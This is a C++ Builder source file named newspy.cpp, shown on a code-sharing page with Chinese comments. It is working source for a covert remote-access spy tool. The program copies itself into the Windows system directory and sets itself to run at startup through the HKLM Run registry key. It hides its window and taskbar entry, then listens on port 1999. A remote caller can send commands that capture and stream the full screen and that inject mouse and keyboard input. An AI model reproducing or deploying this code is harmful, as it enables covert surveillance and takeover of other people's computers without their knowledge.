📄 newspy.cpp
字号:
//---------------------------------------------------------------------------
#include <vcl.h>
#include <jpeg.hpp>
#pragma hdrstop
#include <stdio.h>
#include "newSpy.h"
#include "Socket.h"
//#include "ChildWin.h" 取消子窗口
//---------------------------------------------------------------------------
//#pragma package(smart_init)
#pragma resource "*.dfm"
#define CM_ENTIRESCREEN 201 //捕获全屏
#define CM_ACTIVEWINDOW 202 //捕获当前窗口
#define CM_TCPIPMSG (WM_APP+1000)
#define PACKAGESIZE 4096
#define LISTENPORT 1999
#define STREAMPORT 2000
TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
Application->OnMinimize = Mini;
}
// 捕获当前屏幕并保存到imagestream中
void CaptureImage(int options, int level, int cq, TMemoryStream* imgstream)
{
LONG width,height;
RECT capRect;
HDC DesktopDC;
switch (options) {
case CM_ENTIRESCREEN: // 捕获整个屏幕
// 取得桌面的矩形区域范围
GetWindowRect(GetDesktopWindow(),&capRect);
break;
case CM_ACTIVEWINDOW: // 捕获当前窗口
HWND ForegWin;
ForegWin = GetForegroundWindow(); // 取得当前窗口句柄
if (!ForegWin)
ForegWin = GetDesktopWindow();
GetWindowRect(ForegWin,&capRect); // 取得当前窗口的矩形区域范围
break;
}
DesktopDC = GetDC(GetDesktopWindow()); // 创建内存设备描述表
width = capRect.right - capRect.left;
height = capRect.bottom - capRect.top;
Graphics::TBitmap *bBitmap; // 定义位图变量
try {
bBitmap = new Graphics::TBitmap(); // 创建位图
bBitmap->Width=width;
bBitmap->Height=height;
if ((level>0)&&(level<8))
bBitmap->PixelFormat = TPixelFormat(level); // 设定色深
// 拷贝屏幕的指定区域到位图
BitBlt(bBitmap->Canvas->Handle,0,0,width,height,DesktopDC,
capRect.left,capRect.top,SRCCOPY);
if (cq>=0) {
TJPEGImage *jpeg;
try {
jpeg = new TJPEGImage; // 创建JPEG图象
jpeg->CompressionQuality = cq; // 设定图象品质
jpeg->Assign(bBitmap); // 将位图转化为JPEG格式
jpeg->SaveToStream(imgstream); // 保存JPEG图象信息
}
__finally {
delete jpeg; // 释放资源
}
}
else {
bBitmap->SaveToStream(imgstream); // 保存位图信息
}
}
__finally {
delete bBitmap; // 释放资源
}
}
//---------------------------------------------------------------------------
void __fastcall TForm1::FormCreate(TObject *Sender)
{
HWND WndHandle;
if(OpenSemaphore(SEMAPHORE_ALL_ACCESS,false,"newspyS"))
{
WindowState = wsMinimized;
Application->Terminate();
return;
}else
{
hd = CreateSemaphore(NULL,1,1,"newspyS");
}
AnsiString SystemPath;
char TempPath[MAX_PATH];
GetSystemDirectory(TempPath,MAX_PATH);
SystemPath = AnsiString(TempPath);
CopyFile(ParamStr(0).c_str(),AnsiString(SystemPath+"\\newspyS.exe").c_str(),FALSE);
Registry = new TRegistry;
Registry->RootKey = HKEY_LOCAL_MACHINE;
Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
try
{
if(Registry->ReadString("newSpy")!=SystemPath+"\\newspyS.exe")
Registry->WriteString("newSpy",SystemPath+"\\newspyS.exe");
}
catch(...)
{
}
Application->ShowMainForm =false;
SetWindowLong(Application->Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
ServerSocket1->Port = LISTENPORT; // 指定监听端口
ServerSocket1->Open(); // 开始监听
}
//---------------------------------------------------------------------------
void __fastcall TForm1::ServerSocket1ClientError(TObject *Sender,
TCustomWinSocket *Socket, TErrorEvent ErrorEvent, int &ErrorCode)
{
ErrorCode = 0;
// MessageBox(0,"远程连接出错","鸭嘴兽提示",MB_ICONERROR); // 显示出错信息
}
//---------------------------------------------------------------------------
void __fastcall TForm1::ServerSocket1ClientRead(TObject *Sender,
TCustomWinSocket *Socket)
{
AnsiString sRecvString = Socket->ReceiveText(); // 保存接收到的字符串
AnsiString sRemoteAddress = Socket->RemoteAddress; // 保存对方IP
int CL,CQ;
u_short port;
int CmdType;
// 将接收到的字符串分解为命令类别、接收端口、色深、品质4个参数
int pos = sRecvString.Pos("\n");
// 命令类别
// 1:请求图象发送(附加参数:接收端口、色深、品质)
// 2:请求目标机屏幕分辨率(附加参数:无)
// 3:接收鼠标信息(附加参数:鼠标命令、X坐标、Y坐标)
// 4:接受键盘信息(key_event)
CmdType=StrToIntDef(sRecvString.SubString(1,pos-1),0);
sRecvString = sRecvString.SubString(pos+1,sRecvString.Length()-pos);
pos = sRecvString.Pos("\n");
// ShowMessage((sRecvString).c_str());
switch(CmdType)
{
case 1://请求图象发送
// 接收端口
port = u_short(StrToIntDef(sRecvString.SubString(1,pos-1),0));
sRecvString = sRecvString.SubString(pos+1,sRecvString.Length()-pos);
pos = sRecvString.Pos("\n");
// 色深
CL = StrToIntDef(sRecvString.SubString(1,pos-1),0);
sRecvString = sRecvString.SubString(pos+1,sRecvString.Length()-pos);
pos = sRecvString.Pos("\n");
// 品质
CQ = StrToIntDef(sRecvString.SubString(1,pos-1),0);
if (port) {
TMemoryStream *ImageStream; // 定义数据流
try {
ImageStream = new TMemoryStream; // 分配内存
// 捕获当前屏幕并保存到ImageStream中
CaptureImage(CM_ENTIRESCREEN, CL, CQ, ImageStream);
// 发送ImageStream到接收端口
if (!SendStream(sRemoteAddress, port, ImageStream))
MessageBox(0,"发送数据流失败","鸭嘴兽提示",MB_ICONERROR);
}
__finally {
delete ImageStream; // 释放资源
}
}
break;
case 2://请求目标机屏幕分辨率
{
char str[24];
int Width=GetSystemMetrics(SM_CXSCREEN);
int Height=GetSystemMetrics(SM_CYSCREEN);
sprintf(str,"%d*%d\n",Width,Height);
Socket->SendText(str);
}
break;
case 3:// 捕捉鼠标动作
{
// ShowMessage((sRecvString).c_str());
int MouseCmd=StrToIntDef(sRecvString.SubString(1,pos-1),0);
sRecvString = sRecvString.SubString(pos+1,sRecvString.Length()-pos);
pos = sRecvString.Pos("\n");
int px=StrToIntDef(sRecvString.SubString(1,pos-1),0);
sRecvString = sRecvString.SubString(pos+1,sRecvString.Length()-pos);
pos = sRecvString.Pos("\n");
int py=StrToIntDef(sRecvString.SubString(1,pos-1),0);
switch(MouseCmd)
{
case 1://WM_MOUSEMOVE
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_MOVE,px,py,0,0);
break;
case 2://WM_LBUTTONDOWN
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_LEFTDOWN,px,py,0,0);
break;
case 3://WM_LBUTTONUP
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_LEFTUP,px,py,0,0);
break;
case 4://WM_RBUTTONDOWN
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_RIGHTDOWN,px,py,0,0);
break;
case 5://WM_RBUTTONUP
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_RIGHTUP,px,py,0,0);
break;
case 6://WM_MIDBUTTONDOWN
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_MIDDLEDOWN,px,py,0,0);
break;
case 7://WM_MIDBUTTONUP
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_MIDDLEUP,px,py,0,0);
break;
default:
// keybd_event(VK_SNAPSHOT,1,KEYEVENTF_EXTENDEDKEY,0);
break;
}
}
break;
case 4:// 捕捉键盘动作
{
// ShowMessage((sRecvString).c_str());
int fff = StrToIntDef(sRecvString.SubString(1,pos-1),0);
// int MouseCmd=StrToIntDef(sRecvString.SubString(1,pos-1),0);
// ShowMessage(sRecvString.c_str()) ;
// StrToIntDef(sRecvString.SubString(1,pos-1),0)
/* sRecvString=sRecvString.SubString(2,sRecvString.Length()-2);
if (sRecvString =="A") keybd_event(0x41,0,0,0);
if (sRecvString =="B") keybd_event(0x42,0,0,0);
if (sRecvString =="C") keybd_event(0x43,0,0,0);
if (sRecvString =="D") keybd_event(0x44,0,0,0);
if (sRecvString =="E") keybd_event(0x45,0,0,0);
if (sRecvString =="F") keybd_event(0x46,0,0,0);
if (sRecvString =="G") keybd_event(0x47,0,0,0);
if (sRecvString =="H") keybd_event(0x48,0,0,0);
if (sRecvString =="I") keybd_event(0x49,0,0,0);
if (sRecvString =="J") keybd_event(0x4A,0,0,0);
if (sRecvString =="K") keybd_event(0x4B,0,0,0);
if (sRecvString =="L") keybd_event(0x4C,0,0,0);
if (sRecvString =="M") keybd_event(0x4D,0,0,0);
if (sRecvString =="N") keybd_event(0x4E,0,0,0);
if (sRecvString =="O") keybd_event(0x4F,0,0,0);
if (sRecvString =="P") keybd_event(0x50,0,0,0);
if (sRecvString =="Q") keybd_event(0x51,0,0,0);
if (sRecvString =="R") keybd_event(0x52,0,0,0);
if (sRecvString =="S") keybd_event(0x53,0,0,0);
if (sRecvString =="T") keybd_event(0x54,0,0,0);
if (sRecvString =="U") keybd_event(0x55,0,0,0);
if (sRecvString =="V") keybd_event(0x56,0,0,0);
if (sRecvString =="W") keybd_event(0x57,0,0,0);
if (sRecvString =="X") keybd_event(0x58,0,0,0);
if (sRecvString =="Y") keybd_event(0x59,0,0,0);
if (sRecvString =="Z") keybd_event(0x5A,0,0,0);
if (sRecvString =="0") keybd_event(0x30,0,0,0);
if (sRecvString =="1") keybd_event(0x31,0,0,0);
if (sRecvString =="2") keybd_event(0x32,0,0,0);
if (sRecvString =="3") keybd_event(0x33,0,0,0);
if (sRecvString =="4") keybd_event(0x34,0,0,0);
if (sRecvString =="5") keybd_event(0x35,0,0,0);
if (sRecvString =="6") keybd_event(0x36,0,0,0);
if (sRecvString =="7") keybd_event(0x37,0,0,0);
if (sRecvString =="8") keybd_event(0x38,0,0,0);
if (sRecvString =="9") keybd_event(0x39,0,0,0);
*/
// int fff;
// fff = StrToInt(toascii( sRecvString)) ;
keybd_event(fff,0,0,0);
//ShowMessage(IntToStr(fff).c_str()) ;
}
break;
default://
break;
}
}
//--------------------------------------------------------------------------
void __fastcall TForm1::Mini(TObject *Sender)
{
Hide();
}
void __fastcall TForm1::N3Click(TObject *Sender)
{
//发送图标变换消息
Close();
}
//---------------------------------------------------------------------------
void __fastcall TForm1::FormClose(TObject *Sender, TCloseAction &Action)
{
//发送图标变换消息
}
//---------------------------------------------------------------------------
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -